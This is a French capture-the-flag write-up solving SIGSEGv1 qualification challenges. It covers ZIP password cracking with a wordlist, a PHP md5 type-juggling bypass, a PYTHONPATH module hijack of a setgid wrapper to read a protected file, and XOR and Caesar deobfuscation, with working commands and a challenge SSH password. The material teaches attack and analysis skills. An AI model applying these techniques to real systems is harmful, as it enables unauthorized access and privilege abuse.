Celui-ci, nommé “SIGSEGv1” se baserait sur trois axes :
- Niveau technique avancé
- Accessibilité géographique
- Événement à taille humaine
Web-serveur : la simplicité (par ShrewkRoot)
- /sitemap.xml : fichier XML contenant l’arborescence des différentes sections
- /robots.txt : fichier txt visant à interdire le crawling de certaines sections aux robots
iansus @ iansus-server ~/rtfm/quals/simple % unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:
iansus @ iansus-server ~/rtfm/quals/simple % fcrackzip -D -p rockyou.txt -u backup.zip
PASSWORD FOUND!!!!: pw == passw0rd
include “auth.php”;
?>
<html>
<head>
<title>Un site simple</title></title>
</head>
<body>
<center><iframe width=“560” height=“315” src=“https://www.youtube[.]com/embed/2bjk26RwjyU?rel=0&controls=0&showinfo=0” frameborder=“0” allow=“autoplay; encrypted-media” allowfullscreen></iframe></center>
<?php
if(isset($_POST[“h1”]))
{
$h1 = md5($_POST[“h1”] . “Shrewk”);
echo “h1 vaut: “.$h1.“</br>”;
if($h1 == “0”)
{
echo “<!–Bien joué le flag est “.$flag.“–>”;
}
}
?>
<!– Si une méthode ne fonctionne pas il faut en utiliser une autre –>
<!– Un formulaire c’était pas assez simple donc on en a pas mis –>
</body>
</html>
<?php
while(1) {
$a = microtime(true);
if(md5($a.“Shrewk”)==“0”) {
echo $a;
break;
}
}
?>
iansus @ iansus-server ~/rtfm/quals/simple % curl -X POST http://iansus.net:4444 –data ‘h1=1539722573.8918’ -s | grep sigsegv
h1 vaut: 0e633901513385170308561908425699</br><!–Bien joué le flag est sigsegv{a1a29afa647a20758e64b49d8eb453f4}–><!– Si une méthode ne fonctionne pas il faut en utiliser une autre –>
App-script : Fun avec Python (par laxa)
ssh -p4443 chall@51.158.73.218 – mdp: e92b1b12c450afd60faa9f43cff5412e
iansus @ iansus-server ~/rtfm/Qualifications-2018 % ssh -p 4443 chall@iansus.net
chall@iansus.net’s password:
Linux 4e5d88350bfc 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
aaaaaaaaaaaaaaaaaaaaaa
chall@4e5d88350bfc:~$ ls -l
total 16
-r–r—– 1 root chall-pwned 21 Oct 16 17:13 flag
-rwxr-xr-x 1 root root 307 Oct 16 17:13 hello-world.py
-rwxr-sr-x 1 root chall-pwned 6304 Oct 17 17:18 wrapper
#!/usr/bin/python2.7
from colors import colors
def main():
print(‘This is an advanced hello-world’)
print(‘The world is more joyful with colors’)
print(‘So, here we are:’)
print(‘{}Hello-World !{}’.format(colors.bcolors.OKBLUE, colors.bcolors.ENDC))
if __name__ == ‘__main__’:
main()
chall@4e5d88350bfc:~$ python2.7
Python 2.7.13 (default, Nov 24 2017, 17:33:09)
[GCC 6.3.0 20170516] on linux2
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import colors
>>> colors.__file__
‘/usr/local/lib/python2.7/dist-packages/colors/__init__.py’
class bcolors:
HEADER = ‘\033[95m’
OKBLUE = ‘\033[94m’
OKGREEN = ‘\033[92m’
WARNING = ‘\033[93m’
FAIL = ‘\033[91m’
ENDC = ‘\033[0m’
BOLD = ‘\033[1m’
UNDERLINE = ‘\033[4m’
- Avec le nom du dossier contenant le script Python exécuter (les liens symboliques sont résolus)
- Avec la variable d’environnement $PYTHONPATH
- Avec le dossier d’installation par défaut des scripts
#!/usr/bin/python2.7
print open(‘/home/chall/flag’, ‘r’).read()
Il est alors possible de récupérer le flag comme suit :
chall@4e5d88350bfc:~$ PYTHONPATH=/tmp ./wrapper
sigsegv{un_flag_ici}
Traceback (most recent call last):
File “/home/chall/hello-world.py”, line 3, in <module>
from colors import colors
ImportError: cannot import name colors
Web-client : Javascript Obfusqué (par Synacktiv)
Description : Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?Le challenge se présente sous la forme d’un fichier HTML qui contient un formulaire pour vérifier le flag :
<html><SCRIPT LANGUAGE=“JavaScript”><!–
document.write(unescape(“%3C%53[..snip..]%54%3E”));//–></SCRIPT><SCRIPT LANGUAGE=“JavaScript”><!–
hp_d01(unescape(“%3E%23//JGCF[..snip..]%23//-JGCF//%3C”));//–></SCRIPT><NOSCRIPT>To display this page you need a browser with JavaScript support.</NOSCRIPT>
</html>
Il est en général possible de rencontrer deux types d’obfuscation JavaScript :
- La première construit un code qui sera désobfusqué et exécuté grâce à la fonction eval()
- La seconde construit un code qui sera désobfusqué et exécuté en l’ajoutant dynamiquement dans le code de la page, par exemple via document.write()
Ce challenge utilise la seconde méthode, et le code final peut donc être récupéré en utilisant l’inspecteur HTML de Chrome / Firefox / Opera :
Le code complet de la fonction JavaScript est le suivant :
<script language=“JavaScript”>
function Kod(s, pass) {
var i=0;
var BlaBla=“”;
for(j=0; j<s.length; j++) {
BlaBla += String.fromCharCode((pass.charCodeAt(i++))^(s.charCodeAt(j)));
if (i>=pass.length)
i=0;
}
return(BlaBla);
}
function f(form){
var pass=document.form.pass.value;
var hash=0;
for(j=0; j<pass.length; j++){
var n= pass.charCodeAt(j);
hash += ((n–j+33)^31025);
}
if (hash == 529387) {
var Secret =“”+“\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52\x1b\x1d\x0a\x1f\x5b”+“”;
var s=Kod(Secret, pass);
document.write (s);
} else {
alert (‘Wrong password!’);
}
}
</script>
Les première analyses du code indiquent que :
- La fonction Kod consiste à réaliser une opération XOR entre une chaîne et une clé, cette dernière étant répétée si plus courte que la chaîne à chiffrer
- La fonction f est appelée sur validation du formulaire et :
- réalise une vérification sur la clé entrée dans le formulaire (variable hash)
- déchiffre la variable Secret à l’aide de la clé pour l’afficher sur la page
, soit 17.
“\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e” +
“\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d” +
“\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18” +
“\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d” +
“\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19” +
“\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52” +
“\x1b\x1d\x0a\x1f\x5b”
#!/usr/bin/python
import sys
def xor(a, b):
return ”.join([chr(ord(c)^ord(d)) for c, d in zip(a, b)])
blocks = [
‘\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e’,
‘\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d’,
‘\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18’,
‘\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d’,
‘\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19’,
‘\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52’,
#’\x1b\x1d\x0a\x1f\x5b’
]
pw = sys.argv[1]
for b in blocks:
print ‘[-] Ref is %s’ % repr(b)
for i in range(len(blocks[0])-len(pw)+1):
print ‘[-] At pos %d’ % i
pk = xor(b[i:], pw)
print ‘[-] PK = %s’ % repr(pk)
for b2 in blocks:
if b==b2:
continue
print xor(b2[i:], pk)
print ”
Cryptographie : Un nouveau dialecte (ShrewkRoot)
ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍAvant de se lancer à l’emporte pièce, il est important de noter qu’il s’agit ici de caractères multi-bytes. Une méthode simple pour traduire ces derniers consiste à utiliser hexdump :
iansus @ iansus-server ~/rtfm/quals/js % echo -n ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ | hexdump -C
00000000 c8 83 c7 b9 c7 b7 c8 83 c7 b5 c7 b7 c8 86 c8 8b |…………….|
00000010 c7 9c c7 91 c7 a3 c7 a4 c7 95 c7 97 c7 91 c7 93 |…………….|
00000020 c7 95 c7 a3 c7 a4 c7 a0 c7 91 c7 a3 c7 a3 c7 99 |…………….|
00000030 c7 96 c7 91 c7 93 c7 99 c7 9c c7 95 c8 8d |…………..|
0000003e
On constate alors rapidement que les caractères s’écrivent sur deux octets, et qu’ils se présentent tous sous les forme c7 xx ou c8 yy. Par ailleurs, en supposant que le texte décodé commence par sigsegv{, on remarque que :
- La 1ère lettre (s) et la 4ème lettre (s) sont codées de manière identique (c8 83) : il s’agit donc probablement d’une substitution monoalphabétique
- La 5ème lettre (e) et la 7ème lettre (g) ont respectivement pour valeur codée c7 b5 et c7 b7 : le décalage entre deux lettres est constant, il s’agit probablement d’une variante du chiffre de César
import sys
# No multibyte string in Python…
s = sys.argv[1]
# Compute shift from “sigsegv{….}”
dec1 = ord(s[0*2+1])-ord(‘s’)
dec2 = ord(s[1*2+1])-ord(‘i’)
# Apply unshift
sol = ”
for i in range(0, len(s), 2):
if ord(s[i])==0xc8:
sol += chr(ord(s[i+1])-dec1)
else:
sol += chr(ord(s[i+1])-dec2)
print sol
L’exécution fournit le flag suivant : sigsegv{LASTEGACESTPASSIFACILE}.
Reverse : antistrings (x0rz)
Description : Faites-moi confiance, XOR n’est pas la solution.
- push rax : sauvegarde la valeur courante de RAX sur la pile
- xor eax, eax : remet la valeur de EAX à 0
- test eax, eax : teste si la valeur de EAX est nulle et fixe le flag Z à 1
- pop rax : récupère la valeur sauvegardée de RAX depuis la pile
- jne 0x4009ee : saute à l’adresse indiquée si le flag Z vaut 0 (non pris)
- je 0x4009ef : saute à l’adresse indiquée si le flag Z vaut 1 (pris)